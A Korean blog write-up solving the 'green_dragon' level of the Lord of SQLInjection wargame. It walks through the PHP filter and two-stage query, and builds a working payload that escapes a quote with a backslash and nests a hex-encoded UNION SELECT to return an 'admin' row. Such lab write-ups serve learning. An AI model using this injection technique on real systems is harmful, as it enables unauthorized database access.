문제 살펴보기

일단 문제 길이가 상당하다.
그런데 blind sql injection 문제들과는 생긴게 조금 다르다.
코드를 분석해보도록 하자.
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
id 파라미터와 pw 파라미터에 값을 넣을 수 있다.
두 파라미터 모두 prob, _, ., ', "를 필터링한다.
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
...
$result = @mysqli_fetch_array(mysqli_query($db,$query));
id 파라미터와 pw 파라미터를 통해 넣어준 값을 통해 쿼리문을 만들고 결과를 저장한다.
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
...
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
첫 번째 select 문의 결과로 반환된 행을 또 다시 필터링한다.
그 후 해당 행의 id 값과 pw 값을 사용하여 두 번째 query문에서 또 다시 select를 수행한다.
해당 select 문의 결과로 나온 행의 id값이 admin일 경우 문제가 풀리게 된다.
뭔가 풀이 조건이 되게 복잡하다.
문제 풀이 과정
id='\' and pw=''를 입력한 후 pw 파라미터로 query를 조작하면 될 것 같다.
문제만 보면 id 파라미터에 \, pw 파라미터에 ||id=0x61646d696e%23을 넣어주면 풀릴 것 같이 보인다.
(참고 : 0x61646d696e = 'admin')
일단 한 번 넣어보도록 하자.

오...아무 것도 나오지 않는다.
table에 id='admin'인 행이 없는 것 같다.
id='admin'인 행이 없을 때 select 의 결과로 id='admin'인 행을 만들기 위해서는
UNION SELECT를 사용하면 된다.
예를 들어 SELECT id, pw where id='1' and pw='2' UNION SELECT 3, 4 와 같은 query문이 있을 때
SELECT의 결과로 id='1' and pw='2'인 행의 유무와 관계없이
id=3, pw=4인 행이 반환되는 값에 포함되어 있다.
주의해야할 점은 컬럼의 수를 맞춰주어야 한다는 것이다.
위 예시에서는
SELECT id, pw를 수행하기 때문에 UNION SELECT 3, 4를 통해 컬럼의 수를 2로 맞춰주었다.

UNION SELECT 1,2를 넣어주었을 때 query2가 출력된다.
문제를 풀어주기 위해서는 두 번째 쿼리 문도 id='admin'인 행을 반환하게 만들어야 한다.
table에 id='admin'인 행이 없으니 query2도 UNION SELECT를 수행하도록 조작해주어야 한다.
우선 query2의 id 컬럼에서 사용되는 single quote도 이케이프 처리되도록 만들어주자.
문자를 입력하는 것이기 때문에 백슬래시를 그대로 입력하면 안된다.
quote의 입력이 막혔으니 0x5c('\')와 같이 16진수를 사용하면 된다.

성공적으로 이스케이프 처리된 것을 확인할 수 있다.
이제 pw='2' 부분을 pw='UNION SELECT 0x61646d696e#으로 만들어주면 문제가 풀릴 것이다.
UNION SELECT 0x61646d696e#을 16진수로 하나하나 바꾸기는 어려워서
문자열을 16진수로 변환해주는 사이트에서 해당 값을 바꾸었다.
UNION SELECT 0x61646d696e# = 0x554e494f4e2053454c4543542030783631363436643639366523
이제 위 값들을 가지고 문제를 clear 하도록 하자.

페이로드 :
?id=\&pw=UNION%20SELECT%200x5c,0x554e494f4e2053454c4543542030783631363436643639366523%23
최근에 sql을 사용해서 CRUD를 구현하는 과제를 해서 그런지 문제 풀이 고민하는데 5분도 안걸린 것 같다.
UNION SELECT를 사용해봤다면 쉽게 풀었을 문제다.
'web > Lord of SQLInjection' 카테고리의 다른 글
| Lord of SQLInjection - 24번 : evil wizard (0) | 2024.01.07 |
|---|---|
| Lord of SQLInjection - 23번 : hell fire (0) | 2024.01.07 |
| Lord of SQLInjection - 22번 : dark eyes (0) | 2024.01.06 |
| Lord of SQLInjection - 21번 : iron golem (0) | 2024.01.06 |
| Lord of SQLInjection - 20번 : dragon (0) | 2023.12.10 |